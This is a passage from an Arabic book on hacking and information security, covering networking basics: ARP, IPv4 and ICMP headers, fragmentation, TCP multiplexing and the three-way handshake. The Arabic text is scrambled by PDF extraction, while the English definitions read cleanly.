‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[156]
‫الشكل‬
‫يوضح‬
‫ال‬
ARP request and reply
،
‫أن‬ ‫يبدو‬
PC1
‫يمتلك‬ ‫ال‬
‫ال‬
MAC
‫لل‬ ‫املقابل‬
IP 192.168.100.102
‫ال‬ ‫يف‬
ARP Cache
‫بإرسال‬ ‫قيقوم‬ ،‫به‬ ‫اإلتصال‬ ‫يستطيع‬ ‫لن‬ ‫وبالتايل‬ ،!‫لديه‬
ARP Request
‫ال‬ ‫لىل‬
switch
‫ليستعلم‬
‫ال‬ ‫ذذا‬ ‫عن‬
MAC
،
‫ال‬ ‫يستقبل‬
Switch
‫ال‬ ‫ذذا‬
ARP request
‫ويق‬
‫بعمل‬ ‫وم‬
flood
‫له‬
‫ال‬ ‫مجيع‬ ‫من‬
ports
‫ال‬ ‫باستثناء‬
port
‫ال‬ ‫ذذا‬ ‫منه‬ ‫أتى‬ ‫الذي‬
request
،
‫ال‬ ‫ذذا‬ ‫حيمل‬ ‫الذي‬ ‫اجلهاز‬ ‫باستثناء‬ ‫الرسالة‬ ‫ذذه‬ ‫األجهزة‬ ‫مجيع‬ ‫همل‬ُ‫ي‬‫س‬ ‫ذنا‬
IP
192.168.100.102
،
‫ق‬
ً‫ال‬‫رس‬ُ‫م‬ ‫بالرد‬ ‫يقوم‬
ARP reply msg
‫ال‬ ‫لىل‬
switch
‫يقوم‬ ‫الذي‬
‫ال‬ ‫ذذا‬ ‫بربط‬ ‫بدوره‬
MAC
‫اجلديد‬
‫بال‬
port
‫ال‬ ‫ذذا‬ ‫منه‬ ‫جاء‬ ‫الذي‬
reply
،
‫ثم‬
‫يقوم‬
‫ال‬ ‫ذذا‬ ‫طلب‬ ‫الذي‬ ‫اجلهاز‬ ‫لىل‬ ‫بإرساهلا‬
MAC
،
‫اجلهاز‬ ‫ذذا‬
(PC1)
‫لديه‬
ARP Cache
‫األجهز‬ ‫عناوين‬ ‫ِبا‬ ‫يضع‬
‫ة‬
‫الشبك‬ ‫يف‬ ‫معه‬ ‫التي‬
‫ة‬
‫وال‬
MAC Addresses
‫املناظر‬
‫ة‬
‫قيقوم‬ .‫هلا‬
‫بعمل‬
Update
‫ال‬ ‫هلذا‬
table
.‫لديه‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[157]
Sending Packet outside domain
‫البداي‬ ‫يف‬ ‫طرحناه‬ ‫الذي‬ ‫السؤال‬ ‫لىل‬ ‫نأيت‬
‫ة‬
..!
‫األجهز‬ ‫أحد‬ ‫أراد‬ ‫لن‬ ‫ماذا‬
‫ة‬
‫لرسال‬
packet
‫ال‬ ‫طارج‬ ‫ما‬ ‫لوجهة‬
Subnet
‫؟؟‬
.
‫يرغب‬ ‫عندما‬
PC1
‫بإرسال‬
packet
‫لىل‬
PC3
‫يرسل‬ ‫لن‬ ‫قإنه‬
ARP Request
‫ال‬ ‫عن‬ ‫ليستعلم‬
MAC
،‫به‬ ‫اخلاص‬
‫ال‬ ‫ذذا‬ ‫أن‬ ‫يعلم‬ ‫ألنه‬
PC
‫يعد‬
unreachable
‫عوض‬ ‫يقوم‬ ..
‫ال‬ ‫باستخدام‬ ‫ذلك‬ ‫عن‬ ً‫ا‬
ARP
‫لعمل‬
MAP
‫لل‬
(Gateway IP: 192.168.1.254)
‫لىل‬
‫ال‬
MAC
‫له‬ ‫املقابل‬
00-00-0C-00-01
،
‫ال‬ ‫ذو‬ ‫أنه‬ ‫عىل‬ ‫ويتعامل‬
Distination
MAC
‫ال‬ ‫عىل‬ ‫اإلبقاء‬ ‫مع‬
(Dist. IP: 192.168.2.1)
‫عنوان‬ ‫وذو‬
PC3
.
‫ال‬ ‫يصل‬ ‫وعندما‬
frame
‫ال‬ ‫لىل‬
router
‫يقوم‬
‫ال‬ ‫لىل‬ ‫بتسليمه‬
Network Layer
‫ال‬ ‫لزالة‬ ‫يتم‬ ‫حيث‬
MAC
‫ال‬ ‫يف‬ ‫والبحث‬ ‫منها‬
forwarding table
‫ال‬ ‫لدى‬
router
‫ال‬ ‫عن‬
interface
‫ال‬ ‫ذذا‬ ‫لليها‬ ‫ينتمي‬ ‫التي‬
IP
‫باجلهاز‬ ‫اخلاص‬
PC3
،
‫ال‬ ‫ويستخدم‬
router
‫ال‬ ‫بروتوكول‬
ARP
ً‫ا‬‫أيض‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[158]
‫لعمل‬
MAP
‫ال‬ ‫هلذا‬
IP
‫ال‬ ‫لىل‬
MAC
‫ثم‬ ‫له‬ ‫املقابل‬
‫ال‬ ‫يرسل‬
packet
‫ال‬ ‫لىل‬
switch
‫ال‬ ‫يف‬ ‫بالبحث‬ ‫بدوره‬ ‫يقوم‬ ‫الذي‬
CAM table
‫ال‬ ‫عن‬ ‫لديه‬
Port
‫لل‬ ‫املقابل‬
MAC
‫بال‬ ‫اخلاص‬
PC3
‫ال‬ ‫يرسل‬ ‫ثم‬
frame
‫ال‬ ‫ذذا‬ ‫من‬
port
.
Layer 3 (Network)
‫ال‬ ‫طدمات‬ ‫لنا‬ ‫ُقدم‬‫ت‬ ‫التي‬ ‫الطبقة‬ ‫ذذه‬
Addressing and Delivery
،‫عام‬ ‫بشكل‬
‫حتدثنا‬
‫يف‬ ‫عنها‬
‫بداية‬
‫ذذا‬
‫ال‬
‫باب‬
،ً‫ال‬‫قلي‬
‫بحا‬ ‫لكننا‬
‫تع‬ُ‫مل‬‫ا‬ ‫اخلصائص‬ ‫بعض‬ ‫كر‬‫ذ‬‫ل‬ ‫جة‬
‫ال‬ ‫يف‬ ‫هلا‬ ‫اجتنا‬‫حل‬ ‫ا‬‫ِب‬ ‫لقة‬
‫باب‬
‫القادم‬
.
‫مصطلح‬ ‫يعني‬ ‫ماذا‬
TCP/IP
‫بار‬‫الع‬ ‫ذذه‬ ‫خيترص‬ ‫لنه‬ ،‫؟‬
‫ة‬
:
“The use of Transmission Control Protocols (at Layer 4) over Internet Protocols (at Layer 3)”
‫ال‬ ‫عن‬ ‫تكلمنا‬
Header
‫طب‬ ‫كل‬ ‫بإضاقته‬ ‫تقوم‬ ‫الذي‬
‫قة‬
‫لىل‬
‫ال‬
Packet
‫عبار‬ ‫وذو‬
‫ة‬
‫ال‬ ‫ِبذه‬ ‫اخلاصة‬ ‫التفاصيل‬ ‫عن‬
Packet
.
‫عن‬ ً‫ال‬‫قلي‬ ‫سنتكلم‬
‫ذذا‬
‫ال‬
IP Header
..
IP Header
‫ال‬ ‫يوضح‬ ‫الشكل‬ ‫ذذا‬
IPv4 Header
،
‫مساحته‬ ‫وتبلغ‬
20 bytes
‫ال‬ ‫بدون‬
Options
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[159]
‫ُل‬‫ك‬ ..‫ترى‬ ‫كام‬
Field
‫ل‬ ‫شري‬ُ‫ي‬
‫منها‬ ً‫ا‬‫بعض‬ ‫لك‬ ‫سنوضح‬ ،‫ما‬ ٍ‫يشء‬ ‫ىل‬
:
Version: These 4 bits specify the IP protocol version of the datagram, here it is IPv4.
Total Length: This is the total length of the IP datagram (header plus data),
measured in bytes.
Identifier, flags, fragmentation offset: These three fields have to do with so-called
IP fragmentation "
‫قليل‬ ‫بعد‬ ‫اخلاصية‬ ‫ذذه‬ ‫عن‬ ‫سنتكلم‬
"
Time-to-live: to ensure that datagrams do not circulate forever, this field is decremented by one
each time the datagram is processed
by a router. If the TTL field reaches 0, the datagram must be dropped.
Protocol: indicates the specific transport-layer protocol, For example, a
value of 6 indicates that the data portion is passed to TCP, while a value of 17
indicates that the data is passed to UDP.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[160]
‫ناسب‬ُ‫مل‬‫وبا‬
‫ة‬
‫ال‬ ،
IP
‫َرب‬‫ت‬‫ع‬ُ‫ي‬
Less Reliable
‫با‬ ‫لك‬ ‫يضمن‬ ‫ال‬ ‫حيث‬ ‫التوصيل‬ ‫عملية‬ ‫يف‬
‫ال‬ ‫وصول‬ ‫لضبط‬
Packet
‫ال‬ ‫لىل‬
destination
‫ال‬ ‫قائدة‬ ‫ظهرت‬ ‫ولذلك‬ .
ICMP
،
‫ال‬ ‫نستخدم‬
ICMP Packets
‫عملية‬ ‫أثناء‬ ‫حيدث‬ ‫طلل‬ ‫أي‬ ‫عن‬ ‫لإلبالغ‬
‫ال‬ ‫يف‬ ‫أنه‬ ‫الحظ‬ ،‫االستقبال‬ ‫أو‬ ‫اإلرسال‬
Field
‫بال‬ ‫اخلاص‬
Protocol
‫ال‬ ‫نوع‬ ‫حتديد‬ ‫سيتم‬
Packet
،
‫كانت‬ ‫لو‬ ً‫ال‬‫قمث‬
ICMP msg
‫ال‬ ‫ذذا‬ ‫سيحوي‬
field
‫ر‬
‫قم‬
1
‫ال‬ ‫بروتوكول‬ ‫عن‬ ‫يعرب‬ ‫حيث‬
ICMP
.
‫ال‬ ‫ستخدم‬ُ‫ي‬
ICMP
‫ال‬ ‫بني‬ ‫أسايس‬ ‫بشكل‬
Hosts
‫لعمل‬
Test Connectivity
‫ب‬ ‫قيام‬
،‫ينهم‬
‫و‬
‫شهريين‬ ‫نوعني‬ ‫نستخدم‬
‫ال‬ ‫من‬
ICMP Packets
‫ال‬ ‫ذم‬
Echo Request
‫و‬
Echo Reply
‫نقوم‬
‫بتنفيذ‬
‫ال‬ ‫ذذا‬
request
‫و‬
reply
‫سمى‬ُ‫ي‬ ‫صغري‬ ‫برنامج‬ ‫باستخدام‬
“Ping”
‫سأ‬
‫ال‬ ‫بعض‬ ‫لك‬ ‫عرض‬
messages
‫الربو‬ ‫هلذا‬ ‫الظهور‬ ‫الشائعة‬
‫توكول‬
:
Type Code Description
0 – Echo Reply 0 Echo reply (used to ping)
3 – Destination
Unreachable
0 Destination network unreachable
1 Destination host unreachable
2 Destination protocol unreachable
3 Destination port unreachable
4 Fragmentation required, and DF flag set
5 Source route failed
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[161]
‫ال‬ ‫يوضح‬ ‫بسيط‬ ‫مثال‬ ‫وذذا‬
msg type 3
ICMP
:
IP Fragmentation
‫ال‬
MTU
‫ال‬ ‫ذي‬
"
Maximum Transmission Unit
"
‫لل‬ ‫حجم‬ ‫أكرب‬ ‫تعني‬ ُ
‫حيث‬
Packet
‫بني‬ ‫باإلنتقال‬ ‫هلا‬ ‫املسموح‬
‫ال‬
Hosts
.
The maximum transmission unit (MTU) is the size of the largest network layer protocol data
unit that can be communicated in a single network transaction.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[162]
‫به‬ ‫مسموح‬ ‫حجم‬ ‫أقىص‬ ‫حتديد‬ ‫ويتم‬
‫أي‬ ‫دوث‬ ُ‫ح‬ ‫تفادي‬ ‫نها‬‫م‬ ،‫ده‬‫ع‬ ‫العتبارات‬
Errors
‫اإل‬ ‫أثناء‬
‫نتقال‬
،
‫ق‬
‫ال‬
packet
‫ذات‬
‫الكبري‬ ‫احلجم‬
‫للوصول‬ ‫أطول‬ ً‫ا‬‫وقت‬ ‫تستغرق‬
‫وجهتها‬ ‫لىل‬
،
‫و‬
‫ربام‬
‫ال‬ ‫ُصيب‬‫ت‬
Link
‫و‬ ‫باإلجهاد‬
.ً‫ا‬‫نسبي‬ ً‫ا‬‫بطيئ‬ ‫صبح‬ُ‫ي‬
‫لرسال‬ ‫أردنا‬ ‫لن‬ ‫ماذا‬ ‫ولكن‬
Packet
‫احلجم؟‬ ‫كبرية‬
.
‫بعمل‬ ‫سنقوم‬ ‫احلالة‬ ‫ذذه‬ ‫يف‬
Fragment
‫ال‬ ‫هلذه‬
Packet
..
‫ثم‬ ‫صغرية‬ ‫قطع‬ ‫لىل‬ ‫بتقطيعها‬ ‫سنقوم‬ ‫أننا‬ ‫بمعنى‬
‫ُرسلهم‬‫ن‬
‫ال‬ ‫لىل‬ ‫يصلوا‬ ‫وعندما‬ ،ً‫ا‬‫تباع‬
Destination
‫أطرى‬ ً‫ة‬‫مر‬ ‫جتميعهم‬ ‫لعادة‬ ‫سيتم‬
.
‫الشكل‬
‫التايل‬
:‫العملية‬ ‫ذذه‬ ‫يوضح‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[163]
‫ال‬ ‫لىل‬ ‫بك‬ ‫ننتقل‬ ‫أن‬ ‫قبل‬
Transport Layer
:‫املالحظة‬ ‫ِبذه‬ ‫نذكرك‬ ‫أن‬ ‫َود‬‫ن‬
Remember that the Internet’s network-layer service (IP service) is unreliable. IP does not
guarantee datagram delivery, does not guarantee in-order delivery of datagrams, and does
not guarantee the integrity of the data in the datagrams.
‫ال‬ ‫لىل‬ ‫احتياجنا‬ ‫يفُس‬ ‫ما‬ ‫وذذا‬
Transport Layer
‫اخلصا‬ ‫ذذه‬ ‫لنا‬ ‫ر‬ِّ‫ق‬‫ُو‬‫ت‬‫ل‬
‫نا‬َ‫ل‬ ‫رذا‬ِّ‫ق‬‫ُو‬‫ت‬ ‫ال‬ ‫التي‬ ‫ئص‬
‫ال‬
Network Layer
.
Layer 4 (Transport)
‫فاذيم‬َ‫مل‬‫ا‬ ‫بعض‬ ‫عن‬ ‫سنتكلم‬
‫الطبقة‬ ‫ذذه‬ ‫ُص‬ َ
‫خت‬ ‫التي‬ ‫اجلديده‬
،
‫أمام‬ ‫جتلس‬ ‫أنك‬ ‫معي‬ ‫اقرتض‬
‫جهازك‬
‫وت‬ ،
‫تصفح‬
‫أحد‬
‫املواقع‬
‫ال‬ ‫برنامج‬ ‫باستخدام‬ ‫االنرتنت‬ ‫عىل‬ ‫ملف‬ ‫بتحميل‬ ‫الوقت‬ ‫نفس‬ ‫يف‬ ‫وتقوم‬ ،
FTP
،
‫اتصال‬ ‫بمحاولة‬ ‫تقوم‬ ً‫ا‬‫وأيض‬
‫باس‬ ‫املوقع‬ ‫ِبذا‬
‫ال‬ ‫تخدام‬
Telnet
‫كما‬
‫ال‬ ‫عرب‬ ‫ُمتلف‬ ‫بموقع‬ ‫آطر‬ ‫اتصال‬ ‫بفتح‬ ‫تقوم‬
Telnet
.ً‫ا‬‫أيض‬
:‫اآليت‬ ‫لديك‬ ‫يكون‬ ‫الشكل‬ ‫ِبذا‬
Four application network processes running:
An HTTP Process, FTP Process, and Two Telnet Processes.
‫ال‬ ‫تصنيف‬ ‫عملية‬ ‫تتم‬ ‫كيف‬ ،!‫تتسائل‬ ‫ربام‬
Data
‫اال‬ ‫من‬ ‫القادمة‬
‫لكل‬ ‫وتوصيلها‬ ‫نرتنت‬
Process
‫نهم‬‫م‬
‫من‬ ‫الرغم‬ ‫عىل‬
‫الربنامج‬ ‫لنفس‬ ‫منهم‬ ‫لثنني‬ ‫تواجد‬
“Telnet”
‫!؟‬
‫ال‬ ‫وظيفة‬ ‫لهنا‬
Transport Layer
‫عليها‬ ‫ُطلق‬‫ن‬ ‫طدمة‬ ‫لنا‬ ‫توقر‬ ‫حيث‬
:
“Multiplexing & Demultiplexing”
Multiplexing & Demultiplexing
‫األحداث‬ ‫ترتيب‬ ‫ُعيد‬‫ن‬‫ل‬ ‫ذيا‬
،
‫ا‬ ‫تستقبل‬ ‫عندما‬
‫ل‬
Transport Layer
‫اخلاص‬
‫ة‬
‫ال‬ ‫ذذه‬ )‫جهازك‬ ‫(داطل‬ ‫بك‬
Data
‫من‬
‫منها‬ ‫أسفل‬ ‫التي‬ ‫الطبقة‬
Network Layer
،
‫ال‬ ‫ذذه‬ ‫بتوصيل‬ ‫قستقوم‬
Data
‫ال‬ ‫لىل‬
Process
‫تنتظرذا‬ ‫التي‬
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[164]
‫ال‬ ‫قحص‬ ‫طريق‬ ‫عن‬ ‫ذلك‬ ‫يتم‬
Segment Header
‫ال‬ ‫حتديد‬ ‫ليتم‬
Socket
‫املناسب‬
‫ة‬
‫ال‬ ‫هلذه‬
Data
‫ال‬ ‫توجيه‬ ‫ثم‬
Data
‫ال‬ ‫هلذا‬
Socket
،
‫ال‬ ‫بنقل‬ ‫بدوره‬ ‫ذو‬ ‫قيقوم‬
Data
‫ال‬ ‫لىل‬
Application Process
‫املناسب‬
‫ة‬
.
At the receiving End
‫ال‬ ‫توصيل‬ ‫عملية‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬
“Transport Layer Segment”
‫ال‬ ‫لىل‬
Socket
:‫بال‬ ‫هلا‬ ‫املناسب‬
“DeMultipiexing”
At the sending Source
‫ال‬ ‫ع‬ َ
‫مج‬ ‫عملية‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬
data
‫ة‬َ‫م‬‫القاد‬
‫ال‬ ‫ن‬‫م‬
Sockets
‫ف‬‫َل‬‫ت‬‫خ‬ُ‫مل‬‫ا‬
‫ة‬
‫ال‬ ‫من‬
Application Layer
‫ال‬ ‫ولجراء‬
Encapsulation
‫ال‬ ‫وضع‬ ‫يف‬ ‫ل‬ِّ‫ث‬َ‫َم‬‫ت‬ُ‫مل‬‫ا‬
Header
‫ال‬ ‫ذذه‬ ‫عىل‬
data
‫ال‬ ‫لتكوين‬
Segment
‫ولمرارذا‬
‫ال‬ ‫لىل‬
Network
Layer
:‫بال‬
“Multiplexing”
.
‫ال‬ ‫عملية‬ ‫تتم‬ ‫بالشكل‬ ‫ترى‬ ‫كام‬
Demultiplexing
‫طرف‬ ‫يف‬
‫ال‬ ‫ذذا‬
Web Server
‫ثالثة‬ ‫وصول‬ ‫بعد‬
Connections
‫من‬
‫مستخدمني‬ ‫ثالثة‬
‫ال‬ ‫توجيه‬ ‫قيتم‬
Data
‫قة‬ِّ‫ل‬‫تع‬ُ‫مل‬‫ا‬
‫بكل‬
user
‫لىل‬
Socket
‫(وذو‬ ‫ل‬‫َق‬‫ت‬‫س‬ُ‫م‬
‫ثم‬ ‫ومن‬ ،)‫بالشكل‬ ‫الصغري‬ ‫املستطيل‬
‫لىل‬
‫ال‬
Process
‫املخصص‬
‫ة‬
‫لكل‬
user
.
‫ال‬ ‫قحص‬ ‫بعد‬ ‫تتم‬ ‫ذذه‬ ‫التصنيف‬ ‫عملية‬ ‫بالطبع‬
Header
Segment
،
‫ال‬ ‫ذذا‬ ‫حيوي‬ ‫حيث‬
fields
‫توضح‬ ‫التي‬ ‫التفاصيل‬
‫ال‬ ‫ذذه‬ ‫نوع‬
Segment
‫ال‬ ‫مع‬ ‫التعامل‬ ‫سيتم‬ ‫كيف‬ ً‫ا‬‫وأيض‬
Data
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[165]
TCP Header
‫ماييل‬
‫ال‬
Header
‫ال‬ ‫بطبقة‬ ‫اخلاص‬
Transport
.
‫اخلاص‬ ‫التفاصيل‬ ‫بعض‬ ‫يعرض‬ ‫آطر‬ ‫شكل‬ ‫وذذا‬
‫ة‬
‫بال‬
field
‫املسمى‬
Code Bits
،
‫ال‬ ‫أو‬
TCP Flags
:‫نسميها‬ ‫كام‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[166]
‫ال‬ ‫بعض‬ ‫بتوضيح‬ ‫سنقوم‬
Fields
‫ال‬ ‫ذذا‬ ‫يف‬ ‫املهمة‬
Header
:
‫اطرت‬
‫لك‬ ‫ت‬
‫ال‬ ‫هلذه‬ ‫تعريفات‬ ‫أقضل‬
Fields
،‫نظري‬ ‫وجهة‬ ‫من‬
ُ‫ن‬‫مك‬ُ‫ي‬
‫نا‬
‫تسميته‬
‫ا‬
ً‫ا‬‫أيض‬
‫بال‬
Mechanisms
‫التي‬
‫ال‬ ‫ها‬ُ‫م‬‫يستخد‬
TCP
‫ال‬ ‫عملية‬ ‫لتنفيذ‬
Reliable Connection
.
Checksum: Used to detect bit errors in a transmitted packet.
Timer: Used to timeout/retransmit a packet, possibly because
the packet (or its ACK) was lost within the channel.
Because timeouts can occur when a packet is delayed but not lost,
or when a packet has been received by the receiver but the receiver-to-sender ACK has been lost,
also when a duplicate copies of a packet may be received by a receiver.
Sequence number: Used for sequential numbering of packets of data flowing from sender to
receiver.
Gaps in the sequence numbers of received packets allow the receiver to detect a
lost packet. Packets with duplicate sequence numbers allow the receiver to detect
duplicate copies of a packet.
Acknowledgment: Used by the receiver to tell the sender that a packet or set of packets has been
received correctly.
Acknowledgments will typically carry the sequence number of the packet or packets being
acknowledged.
Negative acknowledgment: Used by the receiver to tell the sender that a packet has not been
received correctly. Negative acknowledgments will typically carry the sequence number of the
packet that was not received correctly.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[167]
Window: The sender may be restricted to sending only packets with sequence numbers that fall
within a given range.
By allowing multiple packets to be transmitted but not yet acknowledged, sender utilization can
be increased over a stop-and-wait mode of operation.
Definitions from: Ref (2)
‫ال‬ ‫ذذه‬ ‫عىل‬ ‫تعرقنا‬ ‫أن‬ ‫وبعد‬ ‫واآلن‬
Mechanisms
‫ال‬ ‫عىل‬ ‫لنتعرف‬ ‫ذيا‬
Field
‫بال‬ ‫اخلاص‬
Flags
:‫رب‬ُ‫ق‬ ‫عن‬
‫ال‬ ‫طبقة‬ ‫تقوم‬
Transport
‫لل‬ ‫ِسيع‬ ‫تصنيف‬ ‫بعملية‬
Segments
‫ال‬ ‫ذذه‬ ‫عىل‬ ‫بالتدقيق‬
Fields
:‫وذي‬
‫ال‬
Sequence number
‫ال‬ ‫و‬
Ack number
‫ال‬ ‫نوع‬ ً‫ا‬‫أطري‬ ‫و‬
TCP Flag
‫ال‬ ‫ذذه‬ ‫حتمله‬ ‫الذي‬
Segment
‫أن‬ ‫الحظ‬ .
‫ال‬ ‫من‬ ً‫ال‬‫ك‬
Sequence
‫ال‬ ‫و‬
Ack
‫عن‬ ‫عبارة‬
32 bits
.
‫ال‬ ‫ذذه‬ ‫قائدة‬ ‫وما‬
“Sequence”
‫وال‬
“ACK”
‫؟‬..
“The sequence number and acknowledgment number are used to maintain state”
‫س‬
:‫األمور‬ ‫تسري‬ ‫كيف‬ ‫لنفهم‬ ‫مثال‬ ‫نأطذ‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[168]
TCP Three-way Handshake
‫تود‬ ‫أنك‬ ‫لنفرض‬
‫لنش‬
‫ب‬ ‫لتصال‬ ‫اء‬
Server
‫ما‬
‫لكي‬ ،
‫وبين‬ ‫بينك‬ ‫االتصال‬ ‫عملية‬ ‫تتم‬
‫ه‬
‫سمى‬ُ‫ي‬ ‫لجراء‬ ‫حيدث‬ ‫أن‬ ‫البد‬
“Three-Way Handshake”
‫ال‬ ‫من‬ ‫نوعني‬ ‫ألجله‬ ‫نستخدم‬ ‫حيث‬
TCP Flags
‫ال‬ ‫مع‬ ‫باالشرتاك‬
“Sequence and
Ack numbers”
.
‫ال‬
TCP Flags
‫ال‬ ‫ذي‬ ‫املستخدمة‬
SYN
‫ال‬ ‫و‬
ACK
،
‫باجل‬ ‫دالالهتم‬ ‫مراجعة‬ ‫مكنك‬ُ‫ي‬
‫دول‬
‫الصفح‬ ‫يف‬
‫ة‬
‫السابق‬
‫ة‬
.
‫إراسل‬‫ب‬ ‫نا‬ُ‫ذ‬ ‫منا‬ُ‫ق‬
Segment
‫حيوي‬
‫ال‬
TCP Flag
‫أهنا‬ ‫لىل‬ ‫ُشري‬‫ت‬ ‫قيمة‬ ‫ِبا‬
‫نوع‬ ‫من‬
SYN
،
‫ال‬ ‫يفهمها‬ ُ
‫حيث‬
Server
،
‫د‬ُ‫وير‬
‫بإرسال‬ ‫علينا‬
SYN/ACK
‫لنا‬ ‫يؤكد‬
‫لل‬ ‫استالمه‬
SYN
‫رسل‬ُ‫مل‬‫ا‬
‫ة‬
.
‫ب‬ ُ‫نحن‬ ‫عليه‬ ‫د‬ ُ‫نر‬ ‫م‬ُ‫ث‬
ACK
‫ره‬‫ُخط‬‫ن‬ ‫هنائية‬
‫لل‬ ‫نا‬‫باستالم‬
SYN/ACK
‫التي‬
‫أرسلها‬
‫وبعدذا‬ ،‫لنا‬
‫وبينه‬ ‫بيننا‬ ‫الفعيل‬ ‫االتصال‬ ‫يبدأ‬
.
‫ال‬ ‫عملية‬ ‫من‬ ‫أكثر‬ ‫لنقرتب‬ ‫ذيا‬
“Handshaking”
..
‫تأمل‬
‫معي‬
‫الشكل‬
‫التايل‬
:
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[169]
‫استخدام‬ ‫َم‬‫ت‬
‫التوليف‬
‫ة‬
!‫نها‬َ‫ع‬ ‫منا‬‫َل‬‫ك‬َ‫ت‬ ‫التي‬
.
‫جديد‬ ‫رسالة‬ ‫أي‬ ‫أن‬ ‫واضح‬
‫ة‬
‫حتمل‬ ‫أن‬ ‫د‬ُ‫ب‬‫ال‬ ‫لرساهلا‬ ‫يتم‬
Sequence number
‫عنها‬ ِّ
‫عرب‬ُ‫ي‬
،
‫نا‬ُ‫قه‬
ُ‫ن‬‫َح‬‫ن‬ ‫منا‬ُ‫ق‬ ‫عندما‬
(Cilent)
‫له‬ ‫أرسلنا‬ ،‫باالتصال‬ ‫بالبدء‬
segment
‫نوع‬ ‫من‬
SYN
‫حتمل‬
Seq: 30
،
‫ال‬ َ‫م‬‫قا‬َ‫ق‬
Server
‫ال‬ ‫بإرسال‬ ‫علينا‬ ‫بالرد‬
SYN/ACK
،
‫ال‬ ‫هلذه‬ ‫باستالمه‬ ‫ربنا‬ ُ
‫خي‬ ‫أن‬ ‫ريد‬ُ‫ي‬ ‫أنه‬ ‫تعني‬ ‫أهنا‬ ‫الحظ‬
SYN
‫حتمل‬ ‫التي‬
Seq: 30
‫ال‬ ‫ذذه‬ ‫سيأطذ‬ ‫وبالتايل‬
Seq
‫بعمل‬ ‫ويقوم‬
“Increment by 1”
.
‫أليس‬ !‫استالمه‬ ‫يؤكد‬ ‫بأن‬ ‫استلمها‬ ُ‫ه‬‫أن‬ ‫خربنا‬ُ‫ي‬‫س‬
‫كذلك؟‬
،
‫بمعنى‬
ACK
‫هلذه‬
‫ال‬
Seq
!
.
‫لنا‬ ‫سل‬ ُ
‫قسري‬
Segment
‫ل‬‫م‬ َ
‫حت‬
“ACK = your Sequence number + 1”
‫الرقم‬ ‫وذو‬
(31)
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[170]
‫أهنا‬ ‫بام‬ ‫وبالطبع‬
Segment
‫جديد‬
‫ة‬
‫ل‬‫م‬ َ
‫حت‬ ‫أن‬ ‫د‬ُ‫ب‬‫قال‬
Sequence number
‫ك‬ ‫عنها‬ ِّ
‫عرب‬ُ‫ي‬
ID
‫هلا‬
!
،
‫سيكون‬
‫عشوائي‬ ‫رقم‬
‫ي‬ ‫كام‬ ‫حينها‬
‫بالشكل‬ ‫ظهر‬
‫الرقم‬ ‫وذو‬ ،
(67)
.
‫له‬ ‫ل‬‫ُرس‬‫ن‬ َ
‫س‬َ‫ق‬ ،‫للرسالة‬ ‫استالمنا‬ ُ‫ه‬‫ل‬ ‫نؤكد‬ ‫أن‬ ‫ُريد‬‫ن‬ ‫واآلن‬
“ACK = His Sequence number + 1”
‫الرقم‬ ‫وذو‬
(68)
.
‫ال‬ ‫ذذا‬
‫ل‬ ‫يوضح‬ ‫شكل‬
‫نا‬
:‫باملعادالت‬ ‫حيدث‬ ‫ما‬
‫ال‬ ‫قائدة‬ ‫بأن‬ ‫القول‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬
Sequence Number
‫قيام‬ ‫ص‬‫خ‬َ‫ل‬‫تت‬
:‫ييل‬
“Sequence numbers allow TCP to put unordered packets back into order, to determine whether
packets are missing, and to prevent mixing up packets from other connections”.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[171]
:‫الثالث‬ ‫الطبقات‬ ‫من‬ ‫انتهينا‬ ‫قد‬ ‫نكون‬ ‫نا‬ُ‫ذ‬ ‫لىل‬
 Data-Link Layer
 Network Layer
 Transport Layer
‫راجعة‬ُ‫م‬ َ
‫ُك‬‫ن‬‫مك‬ُ‫ي‬
Appendix-B
‫ال‬ ‫انتقال‬ ‫أساليب‬ ‫عن‬ ‫املزيد‬ ‫عرقة‬‫مل‬ ‫الكتاب‬ ‫آطر‬ ‫يف‬
Traffic
‫داطل‬ ‫العميل‬ ‫الواقع‬ ‫يف‬
‫ال‬ ‫شبكات‬
Data Centers
،
‫ال‬ ‫وأنواع‬
Architectures
َ‫م‬َ‫ستخد‬ُ‫مل‬‫ا‬
‫ة‬
.
